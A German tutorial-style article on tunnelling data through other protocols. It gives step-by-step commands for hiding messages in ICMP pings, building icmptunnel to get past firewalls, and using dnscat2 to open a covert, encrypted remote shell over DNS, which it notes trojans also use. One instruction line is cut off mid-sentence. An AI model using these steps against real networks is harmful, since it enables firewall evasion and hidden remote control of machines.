In der Tier- und Pflanzenwelt erwerben Arten per Mimikry, also durch Nachahmung anderer Arten, allerlei Vorteile, die einen Vorsprung bei Tarnung, Paarung und Überleben bringen. Zu den bekannten Beispielen gehört die Stabschrecke, die sich in den Wäldern Südostasiens als harmloser Zweig tarnt. Auch bei Netzwerkprotokollen gibt es gezielte Manipulation von Netzwerkpaketen und Formen der Mimikry. In diesem Zusammenhang transportiert ein Netzwerkpaket andere oder mehr Informationen, als sie das zugrundeliegende Protokoll vorsieht.
Ping: Wie Kapselung funktioniert
Wenn es darum geht, Firewalls und Paketfilter auszutricksen, hat diese Art der Mimikry durchaus praktischen Nutzen. Die Tools stammen allerdings aus dem Giftschrank und werden nicht auf dem Silbertablett serviert. Deshalb folgt zuerst ein Beispiel mit Bordmitteln zur Einstimmung, bevor es dann zur nützlichen, aber subversiven Kapselung von Datenverbindungen geht. Das Protokoll ICMP (Internet Control Message Protocol) ist den meisten Anwendern durch Ping bekannt, das ein ICMP-Paket an den angegebenen Host schickt und dessen Erreichbarkeit sowie die Antwortzeit auswertet. ICMP kann aber mehr: Gebraucht werden zwei Linux-Systeme im LAN, die sich gegenseitig anpingen können. 1. Auf Linux-Rechner 1 benötigt man dessen IP-Adresse im LAN, die der Befehl
ip a
liefert. Auf diesem System muss das Paket „nmap“ installiert werden, das sich in den Paketquellen aller Distributionen findet. 2. Das Linux-System 2 soll vom Rechner 1 verkapselte Nachrichten erhalten. Damit dies funktioniert, geben wir dort den Terminalbefehl
sudo tcpdump -X "icmp and src host [IP1]"
ein, wobei der Platzhalter „[IP1]“ für die Adresse des Linux-Rechners 1 steht. 3. Zurück zum Rechner 1: Hier sendet das Kommando
sudo nping --icmp [IP2] --datastring "Hallo! Die LinuxWelt ist toll."
die Nachricht „Hallo! Die LinuxWelt ist toll.“ Der Platzhalter „[IP2]“ steht hier für Adresse des Rechners 2, auf dessen Befehlszeile jetzt tcpdump die empfangenen Pakete mit diesem Text auflistet.
Crashkurs: Samba und SSH in Linux nutzen
Tunnel total: Alles per ICMP
Das Experiment mit ICMP zeigt, wie der alternative Transport von Netzwerkdaten funktionieren kann. Der Nutzen dahinter ist das Tunneln von Verbindungen durch Firewalls hindurch, denn das Protokoll ICMP erlauben meist auch strenge Firewallregeln, damit Administratoren Verbindungen testen können. Das dafür nötige Tool pingtun zum Graben des Tunnels müssen wir aber auf dem Client-Rechner und dem Server selbst kompilieren. Vorbereitung: Beide Linux-Systeme, die der Tunnel verbinden soll, brauchen Git sowie Compiler, Make-Werkzeuge und die leicht veralteten Netzwerktools aus dem Paket „net-tools“. In Debian, Raspbian und Ubuntu ist das alles mit
sudo apt-get install git buildessential net-tools
schnell installiert. Auf dem Server: Dies ist ein Linux-Server im Internet, der von außen erreichbar sein muss und zumindest ICMP-Pakete direkt entgegennimmt. Mit
git clone https://github.com/DhavalKapil/icmptunnel
holen wir den Quellcode vom Git-Verzeichnis des Entwicklers und kompilieren das Programm Icmptunnel mit
cd icmptunnel && make
Hat das Kompilieren geklappt, so startet dann der Befehl
sudo ./icmptunnel -s 10.0.1.1
das Programm im Servermodus, wobei die angegebene IP-Adresse jene der neu eingerichteten Tunnelschnittstelle ist. Auf dem Client: Auch dort kompilieren wir erst das Programm und müssen dann noch den Inhalt der mitgelieferten Script-Datei „client.sh“ mit den Informationen anpassen, die das Kommando
/sbin/route -n
auf einem Debian-System anzeigt.
1. Statt „
sudo ./icmptunnel -c [Server-IP]
den Tunnel, wobei „[Server-IP]“ für die tatsächliche IPv4-Adresse des Servers ist. Nach einigen Sekunden steht der Tunnel und wird ab jetzt alle Netzwerkpakete, die nicht das LAN zum Ziel haben, über den ICMP-Tunnel weiterleiten.
Tipp: Kleines ABC der Linux-Systemwartung
DNS: Mehr als Namensauflösung

Ein weiterer Griff in die Trickkiste spannt das UDP-Protokoll DNS, das zur Namensauflösung im Internet dient, dazu ein, eine Shell auf einem Server zu öffnen. Das Werkzeug dazu nennt sich „Dnscat2“ und wird auch von Trojanern genutzt, um ein manipuliertes Linux-System versteckt mit einer Kommandozentrale zu verbinden. Dnscat2 ist sowohl ein DNS-Client für legitime DNS-Abfragen als auch ein Tool zum versteckten, verschlüsselten Verbindungsaufbau. Falls der DNS-Server zugleich die Kommandozentrale ist, so ist der illegitime Teil des Datenverkehrs nur noch schwer zu entdecken. Man muss dann sehr genau wissen, wonach man sucht. Auf dem Server: Um das Tool zu testen, benötigen experimentierfreudige Anwender wieder einen eigenen Server im Internet, der DNS-Anfragen auf dem Port 53 akzeptiert. Der Quellcode von Dnscat2 ist in C++ und Ruby geschrieben. Auf Debian, Raspbian und Ubuntu installiert das Kommando
sudo apt-get install ruby-dev g++ ruby-bundler git
alle Voraussetzungen und
git clone https://github.com/iagox86/dnscat2
holt den Quellcode auf das System. Dort kann er mit
cd dnscat2; make; cd server; bundle install
installiert werden. Dann startet der Befehl
sudo ruby dnscat2.rb
die Serverkomponente auf Port 53 und gibt in der Startmeldung einen Schlüssel hinter „secret“ an. Diese Zeichenkette benötigt der Client, um verschlüsselt mit dem laufenden Dnscat2-Server zu kommunizieren. Auf dem Client: Das komplette Verzeichnis „dnscat2“ kopiert man mit den enthaltenen, fertig kompilierten Tools auf den Client, auf dem übrigens keine root-Rechte nötig sind. Die Binary für den Dnscat2- Client befindet sich im gleichnamigen Unterverzeichnis „client“ und wird dort mit diesem Befehl gestartet:
./dnscat --dns server=[IP],port=53 --secret=[HEX]
Die Platzhalter: „[IP]“ steht für die öffentliche IP-Adresse des Servers, auf dem schon Dnscat2 läuft, und „[HEX]“ ist der vom Server angegebene geheime Schlüssel.

Wieder auf dem Server: Auf dem Client ist nun nichts weiter zu machen, denn die Kontrolle geht von der laufenden Dnscat2-Shell des Servers aus. Deren Syntax ist eigenwillig und darauf getrimmt, mehrere Sessions zu einem Client zu öffnen, um etwa versteckt Dateien abzugreifen oder Befehle auszuführen. Eine interaktive Session startet
session -i 1
hinter dem Dnscat2-Prompt. Nun geben Sie noch die Befehle
shell
session -i 2
ein und erhalten eine simple Linux-Kommandozeile auf dem Client. Das Kommando
ls -lha
listet beispielsweise den Verzeichnisinhalt im aktuellen Ordner auf dem Client auf – dies alles über verschlüsselte Daten in vermeintlich harmlosen DNS-Abfragen.